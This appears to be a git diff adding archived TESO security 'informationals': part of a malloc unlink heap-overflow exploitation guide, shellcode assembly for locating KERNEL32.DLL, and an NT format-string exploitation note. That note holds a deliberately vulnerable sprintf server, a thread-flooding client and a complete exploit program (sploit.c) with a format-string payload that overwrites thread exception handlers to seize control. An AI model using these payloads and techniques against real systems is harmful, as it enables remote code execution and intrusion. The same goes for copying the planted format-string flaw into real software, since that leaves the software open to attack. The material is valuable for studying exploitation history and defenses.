62 +----------------------------------+
63 | size |
64 +----------------------------------+
65 mem -> | data |
66 : ... :
67 +----------------------------------+
68nextchunk -> | prev_size ... |
69 : :
70
71Where mem is the pointer you get as return value from malloc(). So if you do
72a:
73 unsigned char * mem = malloc (16);
74
75Then 'mem' is equal to the pointer in the figure, and (mem - 8) would be
76equal to the 'chunk' pointer.
77
78The 'prev_size' element has a special function: If the chunk before the
79current one is unused (it was free'd), it contains the length of the chunk
80before. If the chunk before the current one is used, the 'prev_size' value is
81zero.
82The 'size' field has a special meaning. As you would expect it contains the
83length of the current block of memory, the data section. As you call malloc(),
84it is set and is always padded up to the next double-word boundary. So a
85malloc(7) will become a malloc(8), and a malloc(20) will become malloc(24).
86For malloc(0) it will be padded to malloc(8), the reason we will see later in
87this text.
88
89Since this padding implies that the lower three bits are always zero and have
90no meaning to the real length, they are used otherwise, to indicate special
91attributes of this chunk. The lowest bit, called PREV_INUSE, indicates whether
92the previous chunk is used or not. It is set if it is used. The second least
93significant bit is set if the memory area is mmap'ed, a special case which we
94will not consider. The third least significant bit is unused.
95
96To test whether the current chunk is in use or not, we have to check the next
97chunks PREV_INUSE bit within its size value.
98
99Once we free() the chunk, using free(mem), some checks take place and the
100memory is released. If its neighbour blocks are free, too (checked using the
101PREV_INUSE flag), then they are merged, to keep the number of reuseable
102blocks low, but their sizes as large as possible. If a merge is not possible,
103the next chunk is tagged with a cleared PREV_INUSE bit, and the chunk changes
104a bit:
105
106 +----------------------------------+
107 chunk -> | prev_size |
108 +----------------------------------+
109 | size |
110 +----------------------------------+
111 mem -> | fd |
112 +----------------------------------+
113 | bk |
114 +----------------------------------+
115 | (old memory, can be zero bytes) |
116 : :
117
118nextchunk -> | prev_size ... |
119 : :
120
121As you can see, where our data was previously stored at the 'mem' pointer
122returned by malloc, there are two new values, called 'fd' and 'bk',
123forward and backward namely. They are pointers and point into a double
124linked list of unconsolidated blocks of free memory. Everytime a new free
125is issued now this list is checked, and possible unconsolidated blocks
126are merged, or the whole memory is defragmented to release memory.
127Since the malloc size we give to it is at least 8 bytes all the time, there
128is always enough space for both pointers. If there is remaining old memory
129behind the 'bk' pointer it remains unused until this memory is malloc'ed
130again.
131
132The interesting essence of this whole stuff is that the memory management
133information itself is stored beside the data, a clear channeling problem
134(just as with format string commands within the string itself, as control
135channels in breakable phonelines, as return addresses within stack memory,
136etc).
137
138Since we can overwrite this management information if we can overwrite a
139malloced area, we should take a look at how it is processed later on. As
140every malloc'ed area is free()'d again in any sane program, we take a look
141at free, which is a wrapper to chunk_free() within malloc.c (simplified a
142bit to take out #ifdef's):
143
144static void
145chunk_free(arena *ar_ptr, mchunkptr p)
146{
147 size_t hd = p->size; /* its head field */
148 size_t sz; /* its size */
149 int idx; /* its bin index */
150 mchunkptr next; /* next contiguous chunk */
151 size_t nextsz; /* its size */
152 size_t prevsz; /* size of previous contiguous chunk */
153 mchunkptr bck; /* misc temp for linking */
154 mchunkptr fwd; /* misc temp for linking */
155 int islr; /* track whether merging with last_remainder */
156
157 check_inuse_chunk(ar_ptr, p);
158
159 sz = hd & ~PREV_INUSE;
160 next = chunk_at_offset(p, sz);
161 nextsz = chunksize(next);
162
163Since the malloc management keeps chunks within special structures called
164'arenas', it is now tested whether the current chunk that should be free
165directly borders to the 'top' chunk, a special chunk. The 'top' chunk is
166always the top-most available memory chunk within an arena, it is bordering
167the end of available memory. The whole if block is not interesting to the
168typical buffer overflow within malloc space.
169
170 if (next == top(ar_ptr)) /* merge with top */
171 {
172 sz += nextsz;
173
174 if (!(hd & PREV_INUSE)) /* consolidate backward */
175 {
176 prevsz = p->prev_size;
177 p = chunk_at_offset(p, -(long)prevsz);
178 sz += prevsz;
179 unlink(p, bck, fwd);
180 }
181
182 set_head(p, sz | PREV_INUSE);
183 top(ar_ptr) = p;
184
185 if ((unsigned long)(sz) >= (unsigned long)trim_threshold)
186 main_trim(top_pad);
187 return;
188 }
189
190Now the 'size' of the current chunk is tested whether the previous chunk is
191unused (testing for the PREV_INUSE flag), and if it is the case both chunks
192are merged.
193
194 islr = 0;
195
196 if (!(hd & PREV_INUSE)) /* consolidate backward */
197 {
198 prevsz = p->prev_size;
199 p = chunk_at_offset(p, -(long)prevsz);
200 sz += prevsz;
201
202 if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */
203 islr = 1;
204 else
205 unlink(p, bck, fwd);
206 }
207
208Now the same is done into the other direction, it is checked whether the
209chunk in front of the current chunk is free (testing for the PREV_INUSE
210flag of the size two chunks ahead). If it is the case the chunk is merged
211into the current one.
212
213 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */
214 {
215 sz += nextsz;
216
217 if (!islr && next->fd == last_remainder(ar_ptr))
218 /* re-insert last_remainder */
219 {
220 islr = 1;
221 link_last_remainder(ar_ptr, p);
222 }
223 else
224 unlink(next, bck, fwd);
225
226 next = chunk_at_offset(p, sz);
227 }
228 else
229 set_head(next, nextsz); /* clear inuse bit */
230
231 set_head(p, sz | PREV_INUSE);
232 next->prev_size = sz;
233 if (!islr)
234 frontlink(ar_ptr, p, sz, idx, bck, fwd);
235}
236
237As Solar Designer showed us, it is possible to use the 'unlink' macro to
238overwrite arbitrary memory locations. Here is how:
239
240A usual buffer overflow situation might look like:
241
242 mem = malloc (24);
243 gets (mem);
244 ...
245 free (mem);
246
247This way the malloc'ed chunk looks like this:
248
249[ prev_size ] [ size P] [ 24 bytes ... ] (next chunk)
250 [ prev_size ] [ size P] [ fd ] [ bk ]
251 or [ data ... ]
252
253As you can see, the next chunk directly borders to our chunk we overflow. We
254can overwrite anything behind the data region of our chunk, including the
255header of the following chunk.
256
257If we take a closer look at the end of the chunk_free function, we see this
258code:
259
260 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */
261 {
262 sz += nextsz;
263
264 if (!islr && next->fd == last_remainder(ar_ptr))
265 /* re-insert last_remainder */
266 {
267 islr = 1;
268 link_last_remainder(ar_ptr, p);
269 }
270 else
271 unlink(next, bck, fwd);
272
273 next = chunk_at_offset(p, sz);
274 }
275
276The inuse_bit_at_offset, is defined as macro in the beginning of malloc.c:
277
278#define inuse_bit_at_offset(p, s)\
279 (((mchunkptr)(((char*)(p)) + (s)))->size & PREV_INUSE)
280
281Since we control the header of the 'next' chunk we can trigger the whole if
282block at will. The inner if statement is uninteresting, except our chunk is
283bordering to the top-most chunk. So if we choose to trigger the outer if
284statement, we will call unlink, which is defined as macro, too:
285
286#define unlink(P, BK, FD) \
287{ \
288 BK = P->bk; \
289 FD = P->fd; \
290 FD->bk = BK; \
291 BK->fd = FD; \
292}
293
294The unlink is called with a pointer to a free chunk and two temporary pointer
295variables, called bck and fwd. It does this to the 'next' chunk header:
296
297*(next->fd + 12) = next->bk
298*(next->bk + 8) = next->fd
299
300They are not swapped, but the 'fd' and 'bk' pointers point to other chunks.
301This two chunks being pointed to are linked, zapping the current chunk from
302the table.
303
304So to exploit a malloc based buffer overflow we have to write a bogus header
305in the following chunk and then wait for our chunk getting free'd.
306
307 [buffer .... ] | [ prev_size ] [ size ] [ fd ] [ bk ]
308
309'|' is the chunk boundary.
310
311The values we set for 'prev_size' and 'size' do not matter, but two conditions
312have to be met, in case it should work:
313
314 a) the two least significant bits of 'size' have to be zero
315 b) both, 'prev_size' and 'size' should be add-safe to a pointer that is
316 read from. So either use very small values up to a few thousand, or -
317 to avoid NUL bytes - use big values such as 0xfffffffc.
318
319'fd' and 'bk' can be set this way (as used in Solar Designers Netscape
320Exploit):
321
322 fd = retloc - 12
323 bk = retaddr
324
325But beware, that (retaddr + 8) is being written to and the content there is
326destroyed. You can circumvent this by a simple '\xeb\x0c' at retaddr,
327which will jump twelve bytes ahead, over the destroyed content. Or you are
328an evil nerd and directly do shellcode which immediatly loads a register with
329it's own address and take advantage of the write ;-) (I am shooked SolarDiz'
330did not mention that ;)
331
332Well, however, exploitation is pretty straight forward now:
333
334<jmp-ahead, 2> <6> <4 bogus> <nop> <shellcode> |
335 \xff\xff\xff\xfc \xff\xff\xff\xfc <retloc - 12> <retaddr>
336
337Where '|' is the chunk boundary (from that point we overflow). Now, the next
338two negative numbers are just to survive a few checks in free() and to avoid
339NUL bytes. Then we store (retloc - 12) properly encoded and then the return
340address, which will return to the 'jmp-ahead'. The buffer before the '|' is
341the same as with any x86 exploit, except for the first 12 bytes, because we
342have to take care of the extra write operation by the unlink macro.
343
344
345XXXTODO: add off-by-one techniques
346
347Thanks Solar Designer, for another nasty trick :-]
348
349===============================================================================
350
diff --git a/informationals/teso-i0033.txt b/informationals/teso-i0033.txt
new file mode 100644
index 0000000..3a9aaf3
--- /dev/null
+++ b/informationals/teso-i0033.txt
@@ -0,0 +1,102 @@
10033 2001/02/25 (not-so) advanced way to find KERNEL32.DLL base address
2==== TESO Informational =======================================================
3This piece of information is to be kept confidential.
4===============================================================================
5
6Description ..........: shellcode enhancement technique to stabilize NT sploits
7Date .................: 2000/12/28 06:00
8Author ...............: halvar
9Publicity level ......: its very obvious, but not used in any sploits I know
10Affected .............: NT/Win32 specific
11Type of entity .......: theoretical shit
12Type of discovery ....: useful information
13Severity/Importance ..: n/a
14Found by .............: don't know; I spoke to lorian about this long ago
15
16===============================================================================
17
18Everyone who has played around with NT shellcode knows that we need to rely on
19some hardcoded values. As we don't have the luxury of usable syscalls via INT's
20as under *NIX, we need to get access to the Windows API by either using values
21inside the executable (PE) header or by getting the KERNEL32.DLL base address
22somehow. Both approaches rely on hardcoded values; This is bad since we either
23need to know the exact NT-Version & Service Pack (for guessing KERNEL32 base)
24or the exact version of the executable we're attacking.
25
26There are a few tricks to figure out the base address of KERNEL32 with maximum
27stability, but I will just discuss my favourite one here:
28
29Exception Handler Parsing
30
31NT features something called "third-party-exception-handling" or "structured
32exception handling" which allows applications to install exception handlers
33that get control when (or if) an exception occurs.
34The excact structure of these things are documented all over the place in
35various articles on Win32 Assembly coding. (winasm32.cjb.net ?)
36The structure of these exception handlers is basically a single-linked list
37of pointers to functions handling exceptions.
38
39In memory they consist of two dwords:
40
41[pointer to next handler structure][pointer to handler code]
42
43Every function can establish a new exception handler and layer it on top of
44all the others, so if an exception occurs and is not handled by the most re-
45cently installed handler then the next handler will be called until the
46application runs out of self-installed handlers and the default exception
47handler in KERNEL32.DLL is called ("Blablah.exe caused an exception at...").
48The default exception handler structure is the end of the chain, and the
49pointer to the next handler structure is 0xFFFFFFFF in this case.
50
51The beginning of the chain (the most recently installed exception handler
52structure) is referenced to by a pointer at fs:0.
53
54So the trick in finding the base address of KERNEL32.DLL is to parse through
55the exception handler structures until the end of the chain is reached; The
56pointer to the handler code will then point into KERNEL32.DLL. As soon as
57we have this address, we scan all page-beginnings backwards (all DLLs are
58mapped page-aligned) for a "MZ" signature.
59
60Some example assembly code for this (this is not size optimized, just for
61educational purposes):
62
63 xor ecx, ecx ; this avoids NULL bytes in the shell
64 mov eax, [fs:ecx]
65.tunnel:
66 mov ecx, [eax] ; Get pointer to next structure
67 cmp ecx, -1 ; Have we reached the end of the chain ?
68 jz .skip1 ; Yes, then jump to .skip1
69 mov eax, ecx ; No ? Then walk the chain further
70 jmp .tunnel
71.skip1:
72 mov eax, [eax+4] ; Now we have an address inside KERNEL32
73 xor ax, ax ; Kill low 16 bits and thus page-align
74 xor ecx, ecx ; Move size of a page in ecx (0x1000)
75 mov ch, 0x10 ; without NULL bytes
76.tunnel2:
77 mov dx, word [eax] ; load first 2 bytes
78 cmp dx, "MZ" ; compare to our signature
79 jz .skip2
80 sub eax, ecx ; scan one page more backwards in mem
81 jmp .tunnel2
82.skip2:
83
84This is a lot more size-efficient than the other methods I've seen to
85find the KERNEL32.DLL base address reliably (relying on hardcoded
860x00400000 base address for the executable, then parsing its PE header
87to find a function imported from KERNEL32.DLL to get an address within
88it).
89
90One note of caution with this, though: It seems that the installation
91of Microsoft Kernel Debugging stuff and Visual Studio will screw the
92entire NT exception handling in a way that the final exception handler
93points into NTDLL.DLL instead of KERNEL32.DLL. So if you're attacking
94a system of which you know it is a development workstation with Visual
95Studio installed you might want to try parsing the PE header in the
96end :-)
97
98Have fun,
99Halvar
100
101===============================================================================
102
diff --git a/informationals/teso-i0034.txt b/informationals/teso-i0034.txt
new file mode 100644
index 0000000..686312c
--- /dev/null
+++ b/informationals/teso-i0034.txt
@@ -0,0 +1,491 @@
10034 2001/02/25 advanced way to more reliably exploit NT format bugs remotely
2==== TESO Informational =======================================================
3This piece of information is to be kept confidential.
4===============================================================================
5
6Description ..........: way of getting control with format string bugs
7Date .................: 2000/12/28 06:00
8Author ...............: halvar
9Publicity level ......: unknown
10Affected .............: NT/Win32 specific
11Type of entity .......: NT internals
12Type of discovery ....: useful information
13Severity/Importance ..: n/a
14Found by .............: halvar
15
16===============================================================================
17
18We all know and love format string bugs. Especially on closed-source platforms,
19then can still be found in large numbers. Unfortunately, the really interesting
20affected programs under NT run multi-threaded, making it relatively hard to
21reliably get execution under our control as we cannot overwrite addresses on
22the stack. Under Win2k, a watchdog will restart the service once it dies, so
23if we are first to connect to it after the restart we can reliably guess what
24to overwrite. Under NT, no watchdog is around, so you have only one shot to
25get control.
26
27Now, the other choice that we have is an import table overwrite, which will not
28always work either as apparently many compilers set the import address table
29inside the code section, making it a read-only page once it has been filled by
30the OS. Writing to it will result in a GPF.
31
32This informational will play around with a new cool way of getting control of
33our thread by a yet-unknown technique called "TIB Exception Structure
34Overwrite" (TESO) :-P.
35
36In my last informational (0033) I described a way to walk from the pointer at
37fs:[0] through the exception structures until I have found a function inside
38KERNEL32.DLL. This time, I will play with structured exception handling again,
39so it is a good idea to have absorbed some information from the last informat-
40ional.
41
42Every thread that is created has a structure called "Thread Information Block"
43(TIB) mapped at fs:[0]. (Some people call it "Thread Exception Block", and the
44Wine project has a pretty good/slightly errant documentation of it in thread.h)
45The first DWORD of this structure is a pointer to an __EXCEPTION_FRAME
46structure, which consists of two pointers: One to the next
47__EXCEPTION_FRAME, and one to the function that is supposed to
48handle any exception that occurs. Now, the trick is to create a fake exception
49handling structure in memory and then to overwrite as many TIB entries as we
50can until we trigger an exception. When that exception is triggered, our fake
51exception handling structure will lead to control being transferred to the
52code we pointed to in our structure.
53
54What we have to do in our format string is:
55
561. Create a fake exception handling structure somewhere in memory. This
57means we either have to know an address at which a pointer to a buffer we
58control lies or we have to write a pointer to a buffer we control into
59memory at some point.
60
612. Start overwriting TIB's, starting with the first thread, then the second
62etc. until there are no more threads and our attempts to write to a nonpaged
63section of memory will lead to an exception.
64
653. The exception will transfer control to our exceptionhandler (the buffer
66we control) in which we can then execute code.
67
68Problem Nr 1: We cannot write to any location outside of our current data
69segment, how the hell are we going to write to fs:[0] ?
70
71Answer: The TIB is mapped into the data/code segment as well, at an address
72pointed to by fs:[0x18]. I ran a few tests on a few systems from NT4 SP5 up
73to Win2k SP1 and one could foresee certain regularities between all these
74systems that allow us to reliably tell where the TIB of a certain thread
75will be in regular memory.
76The regularity in TIB allocation follows here:
77The first thread of an application always has his TIB mapped at 0x7FFDE000,
78and up until the 11th thread (which lies at 0x7FFD4000) we have single page
79decrements from the initial value (-0x1000). Then we have a rather odd gap,
80and the 12th threads TIB will be located at 0x7FFAF000. All subsequent
81threads will have their TIB allocated sequentally with (-0x1000) difference
82from here on, up until thread 250 where I stopped testing :-)
83
84Problem Nr 2: We cannot easily write to addresses containing NULL bytes,
85and we cannot assure that the location (TIB)-1 will be paged.
86What can we do here ?
87
88Answer: Not much. This is one of the major drawbacks of this approach.
89The problem lies in a form of memory fragmentation that occurs like this:
90Several threads are created, and their TIBs are paged into the CS/DS acc-
91ording to the rules outlined before. Now, some of these threads will exit
92again and their respective TIB-pages will be freed; this can lead to
93a memory layout somewhat like this:
94
95[0x7FFDE000 -- paged]
96[0x7FFDD000 -- nonpaged]
97[0x7FFDC000 -- nonpaged]
98[0x7FFDB000 -- paged]
99[0x7FFDA000 -- paged]
100[0x7FFD9000 ... nonpaged from here on]
101
102Now we can see that we get into trouble as we will trigger an exception
103after having overwritten the first exception handler, without touching
104the other two handlers we would need to overwrite.
105
106Now the trick is that as soon as new threads are created, their TIBs are
107paged into these gaps. So what we can do is to create our thread that
108will execute the format string bug, and then, before we actually execute
109the vulnerable code, create a lot of arbitrary threads, hopefully enough
110to fill all gaps. We can then sequentally overwrite the exception handlers
111and trigger an exception to gain control.
112
113Problem Nr 3:
114While experimenting with exceptionhandlers for a while I found out that
115apparently NT wants the pointer at fs:[0] to point somewhere between the
116"stack bottom" and the "stack top" of the offending thread.
117(For those interested, that validation happens in a function called
118RtlDispatchException() which is a called by KiUserExceptionDispatcher)
119If the pointer points elsewhere the user-installed exception handler will
120not be called; an exception called EXCEPTION_INVALID_DISPOSITION will be
121raised instead.
122
123Answer:
124Since we clearly cannot write an EXCEPTION_FRAME for each thread into its
125stack region we need a different solution. Looking at thread.h from the
126WINE project, we can see that the stack_top and stack_low variables are
127stored at fs:[4] and fs:[8] respectively. Now this implies that we can
128easily alter the range in which our EXCEPTION_FRAME can be created. So
129what we'll need to do in addition to overwriting the pointer at fs:[0] is
130to overwrite the stack_top variables high-order byte with 0x7F, thus mak-
131ing sure that we pass the tests inside RtlDispatchException and praying
132that we don't fuck anything up so badly that it'll crash NT :)
133The EXCEPTION_FRAME has to be created somewhere above stack_low in memory
134then. For my example, I will construct it inside MSVCRT.DLL's data segment.
135
136Here follows the code (I compiled stuff with BC++; I am not sure how stuff
137looks when a different compiler works his magic, so you'll probably need
138some tweaking.):
139
140---- snip ---- lameserver.c -------
141#include <stdio.h>
142#include <stdlib.h>
143#include <windows.h>
144#include <winsock.h>
145
146unsigned long __stdcall NewThread(void *singlearg)
147{
148 int sock, blah;
149 char lame2[5000],lame[3000];
150
151 sock = (int)singlearg;
152 blah = recv(sock, lame, sizeof(lame)-1, 0);
153 if(blah != -1)
154 {
155 lame[blah] = 0; // NULL-terminate
156 sprintf(lame2, lame);
157 printf("%s\n", lame2);
158 }
159
160 send(sock, lame2, strlen(lame2), 0);
161 Sleep(500);
162 closesocket(sock);
163 ExitThread(1);
164}
165
166int main(int argc, char **argv)
167{
168 WSADATA WSAdat;
169 struct sockaddr_in Host;
170 int idThread;
171 SOCKET sock1;
172
173 WSAStartup(0x101, &WSAdat); // Startup the sockets interface
174 Host.sin_family = AF_INET;
175 Host.sin_addr.s_addr = 0;
176 Host.sin_port = htons(999);
177 sock1 = socket(AF_INET, SOCK_STREAM, 0);
178 bind(sock1, (struct sockaddr *)&Host, sizeof(struct sockaddr_in));
179 while(1)
180 {
181 listen(sock1, 0x3);
182 printf("Waiting for connection\n");
183 CreateThread(NULL, 0, &NewThread, (void *)accept(sock1, NULL, NULL), 0, &idThread);
184 }
185}
186----- snip ---- lameserver.c EOF
187
188The server will wait for an incoming connection and spawn a new thread. For each
189connection the thread will read a string from the network, feed it into sprintf()
190to create something format-string-buggish and then echo it back to the client. It
191will then disconnect and kill the thread it just created.
192
193----- snip ---- lameclient.c --------
194#include <stdio.h>
195#include <stdlib.h>
196#include <windows.h>
197#include <winsock.h>
198
199#define MAX_THREAD_NORMAL 20
200#define MAX_THREAD_LINGER 10
201
202int ThreadCount = MAX_THREAD_NORMAL;
203int ThreadLinger = MAX_THREAD_LINGER;
204
205void NewThread(void *singlearg)
206{
207 int sock, iLinger;
208 struct sockaddr_in Host;
209 unsigned long rndval;
210
211 iLinger = 0; // zero the var
212
213 if((GetTickCount() & 0xF) > 13) // set a certain frequency for lingering
214 { // connections
215 Sleep(0);
216 if(ThreadLinger > 0)
217 {
218 ThreadLinger--;
219 rndval = 0xFFFF;
220 iLinger = 1; // set iLinger to TRUE
221 }
222 }
223
224 if(iLinger == 0)
225 {
226 Sleep(0);
227 rndval = GetTickCount() & 0xFF;
228 Sleep(0);
229 rndval *= (GetTickCount() & 0x7F);
230 }
231 printf("[%lx] Connecting with a wait time of %ld ms -- ThreadCount is %ld \n", singlearg, rndval, MAX_THREAD_NORMAL-ThreadCount-1);
232
233 sock = socket(AF_INET, SOCK_STREAM, 0);
234 Host.sin_family = AF_INET;
235 Host.sin_addr.s_addr = 0x0100007F; // 127.0.0.1
236 Host.sin_port = htons(999);
237
238 connect(sock, (struct sockaddr *)&Host, sizeof(Host));
239 Sleep(rndval);
240 printf("[%lx] Exiting...\n", singlearg);
241 closesocket(sock);
242 ThreadCount++;
243 if(iLinger)
244 ThreadLinger++;
245
246 ExitThread(0);
247}
248
249int main(int argc, char **argv)
250{
251 WSADATA wsaDat;
252 int idThread;
253
254 idThread = 0;
255
256 WSAStartup(0x101, &wsaDat);
257 while(1)
258 {
259 if(ThreadCount > 0)
260 {
261 ThreadCount--;
262 Sleep(GetTickCount() & 0x3FF);
263 CreateThread(NULL, 0, &NewThread, (void *)idThread, 0, &idThread);
264 }
265 else
266 Sleep(GetTickCount() & 0x3FFF);
267 }
268}
269----- snip ---- lameclient.c EOF
270
271This lame piece of crap multithreaded client will create a bunch of threads
272which will connect to our lame server, keep a connection open for a certain
273random time and then close the connection again. A few lingering connections
274are around that take a bit longer to finish. As soon as the maximum number
275of threads is reached, the client will pause for a while, letting a bunch of
276threads die again. This is pretty good to simulate the fragmentation in
277memory in case the connection count on the server is receding.
278An example of fragmented memory just after the connection count dropped from
27929 to 17 is here:
280
281001B:7FFDE000 0012FD50 00130000 0012E000 00000000 P...............
282001B:7FFDD000 0538FFDC 05390000 0538F000 00000000 ..8...9...8.....
283001B:7FFDC000 00E8FBF8 00E90000 00E8F000 00000000 ................
284001B:7FFDB000 00F8FBF8 00F90000 00F8F000 00000000 ................
285001B:7FFDA000 ???????? ???????? ???????? ???????? fragmented :-)
286001B:7FFD9000 0168FBF8 01690000 0168F000 00000000 ..h...i...h.....
287001B:7FFD8000 0178FBF8 01790000 0178F000 00000000 ..x...y...x.....
288001B:7FFD7000 ???????? ???????? ???????? ???????? fragmented :-)
289001B:7FFD6000 04C8FBF8 04C90000 04C8F000 00000000 ................
290001B:7FFD5000 0398FBF8 03990000 0398F000 00000000 ................
291001B:7FFD4000 0438FBF8 04390000 0438F000 00000000 ..8...9...8.....
292001B:7FFAF000 ???????? ???????? ???????? ???????? fragmented :-)
293001B:7FFAE000 0208FBF8 02090000 0208F000 00000000 ................
294001B:7FFAD000 0218FBF8 02190000 0218F000 00000000 ................
295001B:7FFAC000 ???????? ???????? ???????? ???????? fragmented :-)
296001B:7FFAB000 ???????? ???????? ???????? ???????? fragmented :-)
297001B:7FFAA000 0308FBF8 03090000 0308F000 00000000 ................
298001B:7FFA9000 ???????? ???????? ???????? ???????? fragmented :-)
299001B:7FFA8000 0318FBF8 03190000 0318F000 00000000 ................
300001B:7FFA7000 ???????? ???????? ???????? ???????? fragmented :-)
301001B:7FFA6000 ???????? ???????? ???????? ???????? fragmented :-)
302001B:7FFA5000 04D8FBF8 04D90000 04D8F000 00000000 ................
303001B:7FFA4000 ???????? ???????? ???????? ???????? fragmented :-)
304001B:7FFA3000 04A8FBF8 04A90000 04A8F000 00000000 ................
305001B:7FFA2000 0528FBF8 05290000 0528F000 00000000 ................
306001B:7FFA1000 04B8FBF8 04B90000 04B8F000 00000000 ................
307
308Now, what our exploit needs to do is:
309
3101. Connect to the server to create a thread that will later send the
311format string.
3122. Connect to the server with a bunch of more threads to fill in as many
313gaps as possible to "defragment" the memory.
3143. The first created thread will now start to write to the exception
315handlers and then trigger an exception. In order to pass the checks inside
316KiUserExceptionDispatcher() we have to overwrite the highest-order byte
317of the stack_top variable located at fs:7 as well.
318
319The code for this follows right here :)
320
321---- snip --- sploit.c
322#include <stdio.h>
323#include <stdlib.h>
324#include <windows.h>
325#include <winsock.h>
326
327/*
328What we want to do with the format string is this:
329Write 0x78038010 to location 0x78038004; then write an INT3 to 0x78038010,
330then write 0x78038000 to the exception handlers until we hit an exception...
331*/
332
333
334unsigned char szAttackBuffer[] = {
335"\x04\x80\x03\x78%12c%n " // Create ptr to our code
336"\x05\x80\x03\x78%c%105c%n "
337"\x06\x80\x03\x78%.f%123c%n "
338"\x07\x80\x03\x78%.f%65c%n "
339
340"\x10\x80\x03\x78%.f%76c%n%51c%.f" // Create a single 0xCC as "payload"
341
342//--- First Thread
343"\x07\xE0\xFD\x7F%123c%n%c%c " // set the stack top to 0x7F120000 ;>
344"\x01\xE0\xFD\x7F%250c%n " // write 0x80 to byte 2 of xcpt frame *
345"\x02\xE0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3 of xcpt frame *
346"\x03\xE0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
347"\xFD\xDF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
348//--- Second Thread
349"\x07\xD0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
350"\x01\xD0\xFD\x7F%250c%n " // write 0x80 to byte 2
351"\x02\xD0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
352"\x03\xD0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
353"\xFD\xCF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
354//--- Third Thread
355"\x07\xC0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
356"\x01\xC0\xFD\x7F%250c%n " // write 0x80 to byte 2
357"\x02\xC0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
358"\x03\xC0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
359"\xFD\xBF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
360//--- Fourth Thread
361"\x07\xB0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
362"\x01\xB0\xFD\x7F%250c%n " // write 0x80 to byte 2
363"\x02\xB0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
364"\x03\xB0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
365"\xFD\xAF\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
366//--- Fifth Thread
367"\x07\xA0\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
368"\x01\xA0\xFD\x7F%250c%n " // write 0x80 to byte 2
369"\x02\xA0\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
370"\x03\xA0\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
371"\xFD\x9F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
372//--- Sixth Thread
373"\x07\x90\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
374"\x01\x90\xFD\x7F%250c%n " // write 0x80 to byte 2
375"\x02\x90\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
376"\x03\x90\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
377"\xFD\x8F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
378//--- Seventh Thread
379"\x07\x80\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
380"\x01\x80\xFD\x7F%250c%n " // write 0x80 to byte 2
381"\x02\x80\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
382"\x03\x80\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
383"\xFD\x7F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
384//--- Eight Thread
385"\x07\x70\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
386"\x01\x70\xFD\x7F%250c%n " // write 0x80 to byte 2
387"\x02\x70\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
388"\x03\x70\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
389"\xFD\x6F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
390//--- Ninth Thread
391"\x07\x60\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
392"\x01\x60\xFD\x7F%250c%n " // write 0x80 to byte 2
393"\x02\x60\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
394"\x03\x60\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
395"\xFD\x5F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
396//--- Tenth Thread
397"\x07\x50\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
398"\x01\x50\xFD\x7F%250c%n " // write 0x80 to byte 2
399"\x02\x50\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
400"\x03\x50\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
401"\xFD\x4F\xFD\x7F%c%n%128c%c " // write 0x00 to byte 1 and pad to 00
402//--- Eleventh Thread
403"\x07\x40\xFD\x7F%123c%n%c%c " // set stack top to 0x7Fxxxxxx :)
404"\x01\x40\xFD\x7F%250c%n " // write 0x80 to byte 2
405"\x02\x40\xFD\x7F%125c%c%n%c " // write 0x03 to byte 3
406"\x03\x40\xFD\x7F%c%110c%n%.f" // write 0x78 to byte 4
407"\xFD\x3F\xFD\x7F%c%n%n" // write 0x00 to byte 1 and trigger xception
408};
409
410int main(int argc, char **argv)
411{
412 WSADATA wsaDat;
413 struct sockaddr_in Host;
414 int sock, socks[10], i;
415
416 WSAStartup(0x101, &wsaDat);
417
418 Host.sin_family = AF_INET;
419 Host.sin_addr.s_addr = 0x0100007F;
420 Host.sin_port = htons(999);
421
422 sock = socket(AF_INET, SOCK_STREAM, 0);
423 connect(sock, (struct sockaddr *)&Host, sizeof(Host)); // create attack
424 // thread
425 for(i = 1; i < 11; i++)
426 {
427 socks[i] = socket(AF_INET,SOCK_STREAM, 0);
428 connect(socks[i], (struct sockaddr *)&Host, sizeof(Host));
429 }
430 Sleep(50);
431 send(sock, szAttackBuffer, strlen(szAttackBuffer), 0);
432}
433----- snip --- sploit.c EOF
434
